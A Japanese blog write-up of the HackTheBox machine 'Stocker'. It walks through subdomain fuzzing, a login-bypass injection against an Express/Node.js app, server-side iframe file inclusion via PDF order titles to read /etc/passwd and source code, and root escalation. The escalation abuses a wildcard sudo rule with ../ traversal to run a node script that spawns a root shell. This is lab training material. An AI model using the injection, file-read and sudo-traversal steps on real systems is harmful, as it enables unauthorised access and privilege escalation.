今回は、HackTheBoxのEasyマシン「Stocker」のWriteUpです!
名前からはどのようなボックスなのか想像がつきませんが、攻略目指して頑張ります!
グラフは、Easyらしくない形をしていますね。。。
前回のSoccer同様、最近はEasyでも難しいので気合い入れていきます!
HackTheBoxってなに?という方はこちらの記事を見てみてください!一緒にハッキングしましょう〜。
また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!
Stocker
侵入
それでは攻略を開始しましょう〜!
まずは、いつも通りポートスキャンから行います。
┌──(kali㉿kali)-[~/Desktop/Stocker]
└─$ sudo nmap -Pn -n -v --reason -sS -p- -sC --min-rate=1000 -A 10.10.11.196 -oN nmap.log
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 3d12971d86bc161683608f4f06e6d54e (RSA)
| 256 7c4d1a7868ce1200df491037f9ad174f (ECDSA)
|_ 256 dd978050a5bacd7d55e827ed28fdaa3b (ED25519)
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://stocker.htb
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
22番と80番を確認しました。
80番が開いているのでWebにアクセスしてみましょう。
ECサイトのようなサイトが表示されましたが、特に商品を選択できるわけではないようです。
サイトが完了すると、アカウントに登録できると書かれていました。
特に遷移はなさそうなので、ディレクトリやサブドメインを探索してみます。
┌──(kali㉿kali)-[~/Desktop/Stocker]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.stocker.htb" -u http://10.10.11.196 -fs 178
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/ '
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://10.10.11.196
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt
:: Header : Host: FUZZ.stocker.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 178
________________________________________________
dev [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 164ms]
:: Progress: [151265/151265] :: Job [1/1] :: 259 req/sec :: Duration: [0:09:42] :: Errors: 0 ::
devというサブドメインを発見しました。
hostsファイルに登録し、再度アクセスしてみましょう。
ログイン画面が表示されました。
SQLインジェクション
特に認証情報を取得しているわけではないので、SQLインジェクションが発火するか試してみます。
SQLインジェクションは発火しなさそうです。
と、思ったのですが、今回はExpressで作成されており、Node.jsが使用されていることがわかります。
Node.jsには隠れたSQLインジェクションが存在します。下記の記事に詳細がまとめられています。
それでは、記事の方法を参考にしつつ、SQLインジェクションが発火するか再度試してみましょう。
リダイレクト先がloginではないので、SQLインジェクションが発火したことがわかります!
それでは、BurpのInterceptを利用して、リクエストを書き換え、ログインをバイパスしましょう。
商品が選択できるECサイトが表示されました!どうやら、開発段階みたいですね。
Local File Inclusion(Server Side XSS)
適当に、商品を選択してカートにいれ、購入してみます。
Order IDが出力されました。
hereをクリックすることで、注文書をみることができそうです。見てみましょう。
私はトイレットペーパーを選択したので、その名前と値段、個数が記載されています。
購入後の動作がわかったので、購入処理を行う際のリクエストをみてみます。
idやtitleが送られています。よくみてみると、titleで送信されている文字がそのままItemの名前として出力されていることがわかります。
もしこれを変更することができれば、何かしらの脆弱性を発火させることができるかもしれません。
titleをtestに変更し、もう一度購入処理を行ってみます。
購入が完了したら、注文書を見てみましょう。
titleがtestになっています!これにより、ユーザの好きな値に変更できることがわかりました。
また、開発者ツールで確認すると、testという値はspanタグで囲まれていることがわかりました。
まず試してみることは、iframeによるLFIを発火させることです。
同じようにInterceptを使用し、titleの値を変更していきます。
srcでpasswdファイルを指定しています。
それでは注文書を見てみましょう。
LFIが発火しました!
また、passwdファイルの内容から、angooseユーザの存在を確認できました!
次に、SSH秘密鍵を取得しようとしましたが、失敗したのでindex.jsを見てみることにします。
サブドメインがdevなので、wwwのあとはdevを指定します。
では、同じように注文書を出力し、コードを見てみましょう。
mongodbの認証情報として、devユーザのパスワードが書かれています!
angooseとしてのシェル
それではパスワードを発見したので、とりあえずSSHログインに使用できないか試してみましょう。
┌──(kali㉿kali)-[~/Desktop/Stocker]
└─$ ssh [email protected]
[email protected] password:
angoose@stocker:~$ whoami
angoose
SSH接続に成功しました!
angoose@stocker:~$ ls -l
total 4
-rw-r----- 1 root angoose 33 Jun 24 09:29 user.txt
ユーザフラグも取得することができました!
権限昇格
それでは、この勢いのままルートまで取得してしまいましょう!
まずはいつものようにsudoを実行してみます。
angoose@stocker:~$ sudo -l
[sudo] password for angoose:
Matching Defaults entries for angoose on stocker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User angoose may run the following commands on stocker:
(ALL) /usr/bin/node /usr/local/scripts/*.js
nodeをsudoで実行可能のようです!実行できるスクリプトは/usr/local/scriptsディレクトリの配下にあるjsファイルでないといけないようです。では、scriptsディレクトリに書き込み権限があるかみてみましょう。
angoose@stocker:~$ ls -l /usr/local
total 36
drwxr-xr-x 2 root root 4096 Dec 6 2022 bin
drwxr-xr-x 2 root root 4096 Dec 6 2022 etc
drwxr-xr-x 2 root root 4096 Dec 6 2022 games
drwxr-xr-x 2 root root 4096 Dec 6 2022 include
drwxr-xr-x 3 root root 4096 Dec 6 2022 lib
lrwxrwxrwx 1 root root 9 Nov 19 2022 man -> share/man
drwxr-xr-x 2 root root 4096 Dec 23 2022 sbin
drwxr-xr-x 3 root root 4096 Dec 6 2022 scripts
drwxr-xr-x 5 root root 4096 Dec 6 2022 share
drwxr-xr-x 2 root root 4096 Dec 6 2022 src
書き込み権限はなさそうです。
では、sudoを使った権限昇格はできないのか。。。と思いきや、sudoのパスの指定方法には問題があります。どこが問題なのか考えてみましょう。
(ALL) /usr/bin/node /usr/local/scripts/*.js
今回のケースではscriptsディレクトリの後にアスタリスクを使用し、scriptsディレクトリにあるjsファイルであればすべて実行できるようにしてました。運用上あり得そうな話ですが、ここが問題点です。
アスタリスクはすべての文字を許可するため、「../」を使用することでディレクトリを好きに移動させることが可能です。要するに、自分が作成したjsファイルをルート権限で使用できるのです。
rootとしてのシェル
それでは、権限昇格を行いましょう。
まず、実行するスクリプトを作成しなければいけません。
どのようなスクリプトを作成するのかですが、nodeを使用した権限昇格方法はGTFOBinsにまとめられています。
GTFOBinsを参考にし、スクリプトを作成していきましょう。
angoose@stocker:~$ cat exploit.js
require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})
スクリプトが用意できたので、実行してみましょう!
angoose@stocker:~$ sudo /usr/bin/node /usr/local/scripts/../../../home/angoose/exploit.js
root@stocker:/home/angoose# whoami
root
権限昇格成功です!
root@stocker:~# ls -l
total 4
-rw-r----- 1 root root 33 Jun 24 09:29 root.txt
フラグも取得し、完全攻略です〜〜!!
攻略を終えて
今回のマシンは、グラフの形にしては簡単だったのかなと思いましたが、Node.jsでのSQLインジェクションやPDFでのLFIなどに対して知見がない状態だと確かにMediumぐらいの難易度はあるのではないかなと思います。
最近では、Expressを使用したサイトも多くなってきていると思うので、今回使用したSQLインジェクションには徹底した対策を呼びかける必要があるなと感じました。また、権限昇格では一度にすべてのjsファイルを指定したいがために、アスタリスクを使用していたことが問題となりました。正直、一つ一つ指定することは大変ですし、コードも汚く見えてきます。しかし、sudoといった一歩扱いを間違えると大変なことになるものに関しては、面倒でも慎重に設定する必要があると再認識しました。
難易度感も私にとってはちょうど良く、学びとしても多くのことを学ぶことができたマシンだったと思います!
今後もHackTheBoxのWriteUpを公開していきますので、みていただけると嬉しいです!
最後まで閲覧していただきありがとうございました〜〜!!
原文始发于Perplexin:HackTheBox Stocker WriteUp